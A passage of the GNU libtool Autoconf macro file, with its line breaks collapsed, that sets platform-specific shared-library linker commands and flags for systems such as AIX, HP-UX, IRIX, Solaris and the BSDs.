_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; sunos4*) _LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' wlarc= _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac if test "$_LT_TAGVAR(ld_shlibs, $1)" = no; then runpath_var= _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= fi else # PORTME fill in a description of your system's linker (not GNU ld) case $host_os in aix3*) _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(always_export_symbols, $1)=yes _LT_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' # Note: this linker hardcodes the directories in LIBPATH if there # are no directories specified by -L. _LT_TAGVAR(hardcode_minus_L, $1)=yes if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then # Neither direct hardcoding nor static linking is supported with a # broken collect2. _LT_TAGVAR(hardcode_direct, $1)=unsupported fi ;; aix[[4-9]]*) if test "$host_cpu" = ia64; then # On IA64, the linker does run time linking by default, so we don't # have to do anything special. aix_use_runtimelinking=no exp_sym_flag='-Bexport' no_entry_flag="" else # If we're using GNU nm, then we don't want the "-C" option. # -C means demangle to AIX nm, but means don't demangle with GNU nm if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' else _LT_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' fi aix_use_runtimelinking=no # Test if we are trying to use run time linking or normal # AIX style linking. If -brtl is somewhere in LDFLAGS, we # need to do runtime linking. case $host_os in aix4.[[23]]|aix4.[[23]].*|aix[[5-9]]*) for ld_flag in $LDFLAGS; do if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then aix_use_runtimelinking=yes break fi done ;; esac exp_sym_flag='-bexport' no_entry_flag='-bnoentry' fi # When large executables or shared objects are built, AIX ld can # have problems creating the table of contents. If linking a library # or program results in "error TOC overflow" add -mminimal-toc to # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. _LT_TAGVAR(archive_cmds, $1)='' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(file_list_spec, $1)='${wl}-f,' if test "$GCC" = yes; then case $host_os in aix4.[[012]]|aix4.[[012]].*) # We only want to do this on AIX 4.2 and lower, the check # below for broken collect2 doesn't work under 4.3+ collect2name=`${CC} -print-prog-name=collect2` if test -f "$collect2name" && strings "$collect2name" | $GREP resolve_lib_name >/dev/null then # We have reworked collect2 : else # We have old collect2 _LT_TAGVAR(hardcode_direct, $1)=unsupported # It fails to find uninstalled libraries when the uninstalled # path is not listed in the libpath. Setting hardcode_minus_L # to unsupported forces relinking _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)= fi ;; esac shared_flag='-shared' if test "$aix_use_runtimelinking" = yes; then shared_flag="$shared_flag "'${wl}-G' fi else # not using gcc if test "$host_cpu" = ia64; then # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release # chokes on -Wl,-G. The following line is correct: shared_flag='-G' else if test "$aix_use_runtimelinking" = yes; then shared_flag='${wl}-G' else shared_flag='${wl}-bM:SRE' fi fi fi _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-bexpall' # It seems that -bexpall does not export symbols beginning with # underscore (_), so it is better to generate a list of symbols to export. _LT_TAGVAR(always_export_symbols, $1)=yes if test "$aix_use_runtimelinking" = yes; then # Warning - without using the other runtime loading flags (-brtl), # -berok will link without error, but may produce a broken library. _LT_TAGVAR(allow_undefined_flag, $1)='-berok' # Determine the default libpath from the value encoded in an # empty executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag" else if test "$host_cpu" = ia64; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs" _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols" else # Determine the default libpath from the value encoded in an # empty executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" # Warning - without using the other run time loading flags, # -berok will link without error, but may produce a broken library. _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' # Exported symbols can be pulled into shared objects from archives _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience' _LT_TAGVAR(archive_cmds_need_lc, $1)=yes # This is similar to how AIX traditionally builds its shared libraries. _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' fi fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='' ;; m68k) _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_minus_L, $1)=yes ;; esac ;; bsdi[[45]]*) _LT_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic ;; cygwin* | mingw* | pw32* | cegcc*) # When not using gcc, we currently assume that we are using # Microsoft Visual C++. # hardcode_libdir_flag_spec is actually meaningless, as there is # no search path for DLLs. _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' _LT_TAGVAR(allow_undefined_flag, $1)=unsupported # Tell ltmain to make .lib files, not .a files. libext=lib # Tell ltmain to make .dll files, not .so files. shrext_cmds=".dll" # FIXME: Setting linknames here is a bad hack. _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `$ECHO "X$deplibs" | $Xsed -e '\''s/ -lc$//'\''` -link -dll~linknames=' # The linker will automatically build a .lib file if we build a DLL. _LT_TAGVAR(old_archive_from_new_cmds, $1)='true' # FIXME: Should let the user specify the lib program. _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs' _LT_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`' _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes ;; darwin* | rhapsody*) _LT_DARWIN_LINKER_FEATURES($1) ;; dgux*) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; freebsd1*) _LT_TAGVAR(ld_shlibs, $1)=no ;; # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor # support. Future versions do this automatically, but an explicit c++rt0.o # does not break anything, and helps significantly (at the cost of a little # extra space). freebsd2.2*) _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; # Unfortunately, older versions of FreeBSD 2 do not have this feature. freebsd2*) _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; # FreeBSD 3 and greater uses gcc -shared to do shared libraries. freebsd* | dragonfly*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; hpux9*) if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' else _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(hardcode_direct, $1)=yes # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' ;; hpux10*) if test "$GCC" = yes -a "$with_gnu_ld" = no; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' fi if test "$with_gnu_ld" = no; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. _LT_TAGVAR(hardcode_minus_L, $1)=yes fi ;; hpux11*) if test "$GCC" = yes -a "$with_gnu_ld" = no; then case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' ;; esac else case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' ;; esac fi if test "$with_gnu_ld" = no; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: case $host_cpu in hppa*64*|ia64*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. _LT_TAGVAR(hardcode_minus_L, $1)=yes ;; esac fi ;; irix5* | irix6* | nonstopux*) if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' # Try to use the -exported_symbol ld option, if it does not # work, assume that -exports_file does not work either and # implicitly export all symbols. save_LDFLAGS="$LDFLAGS" LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null" AC_LINK_IFELSE(int foo(void) {}, _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib' ) LDFLAGS="$save_LDFLAGS" else _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib' fi _LT_TAGVAR(archive_cmds_need_lc, $1)='no' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(inherit_rpath, $1)=yes _LT_TAGVAR(link_all_deplibs, $1)=yes ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out else _LT_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; newsos6) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *nto* | *qnx*) ;; openbsd*) if test -f /usr/libexec/ld.so; then _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=yes if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' else case $host_os in openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*) _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' ;; esac fi else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; os2*) _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(archive_cmds, $1)='$ECHO "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$ECHO DATA >> $output_objdir/$libname.def~$ECHO " SINGLE NONSHARED" >> $output_objdir/$libname.def~$ECHO EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' _LT_TAGVAR(old_archive_from_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' ;; osf3*) if test "$GCC" = yes; then _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' else _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' fi _LT_TAGVAR(archive_cmds_need_lc, $1)='no' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: ;; osf4* | osf5*) # as osf3* with the addition of -msym flag if test "$GCC" = yes; then _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' else _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; printf "%s\\n" "-hidden">> $lib.exp~ $CC -shared${allow_undefined_flag} ${wl}-input ${wl}$lib.exp $compiler_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~$RM $lib.exp' # Both c and cxx compiler support -rpath directly _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' fi _LT_TAGVAR(archive_cmds_need_lc, $1)='no' _LT_TAGVAR(hardcode_libdir_separator, $1)=: ;; solaris*) _LT_TAGVAR(no_undefined_flag, $1)=' -z defs' if test "$GCC" = yes; then wlarc='${wl}' _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' else case `$CC -V 2>&1` in *"Compilers 5.0"*) wlarc='' _LT_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$RM $lib.exp' ;; *) wlarc='${wl}' _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~ $CC -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp' ;; esac fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no case $host_os in solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; *) # The compiler driver will combine and reorder linker options, # but understands `-z linker_flag'. GCC discards it without `$wl', # but is careful enough not to reorder. # Supported since Solaris 2.6 (maybe 2.5.1?) if test "$GCC" = yes; then _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' else _LT_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' fi ;; esac _LT_TAGVAR(link_all_deplibs, $1)=yes ;; sunos4*) if test "x$host_vendor" = xsequent; then # Use $CC to link under sequent, because it throws in some extra .o # files that make .init and .fini sections work. _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; sysv4) case $host_vendor in sni) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=yes # is this really true??? ;; siemens) ## LD is ld it makes a PLAMLIB ## CC just makes a GrossModule. _LT_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs' _LT_TAGVAR(hardcode_direct, $1)=no ;; motorola) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie ;; esac runpath_var='LD_RUN_PATH' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; sysv4.3*) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport' ;; sysv4*MP*) if test -d /usr/nec; then _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no runpath_var=LD_RUN_PATH hardcode_runpath_var=yes _LT_TAGVAR(ld_shlibs, $1)=yes fi ;; sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*) _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no runpath_var='LD_RUN_PATH' if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' fi ;; sysv5* | sco3.2v5* | sco5v6*) # Note: We can NOT use -z defs as we might desire, because we do not # link with -lc, and that would cause any symbols used from libc to # always be unresolved, which means just about no library would # ever link correctly. If we're not using GNU ld we use -z text # though, which does catch some bad symbols but isn't as heavy-handed # as -z defs. _LT_TAGVAR(no_undefined_flag, $1)='${wl}-z,text' _LT_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs' _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R,$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport' runpath_var='LD_RUN_PATH' if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags' fi ;; uts4*) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) _LT_TAGVAR(ld_shlibs, $1)=no ;; esac if test x$host_vendor = xsni; then case $host in sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Blargedynsym' ;; esac fi fi ]) AC_MSG_RESULT([$_LT_TAGVAR(ld_shlibs, $1)]) test "$_LT_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no _LT_TAGVAR(with_gnu_ld, $1)=$with_gnu_ld _LT_DECL([], [libext], [0], [Old archive suffix (normally "a")])dnl _LT_DECL([], [shrext_cmds], [1], [Shared library suffix (normally ".so")])dnl _LT_DECL([], [extract_expsyms_cmds], [2], [The commands to extract the exported symbol list from a shared archive]) # # Do we need to explicitly link libc? # case "x$_LT_TAGVAR(archive_cmds_need_lc, $1)" in x|xyes) # Assume -lc should be added _LT_TAGVAR(archive_cmds_need_lc, $1)=yes if test "$enable_shared" = yes && test 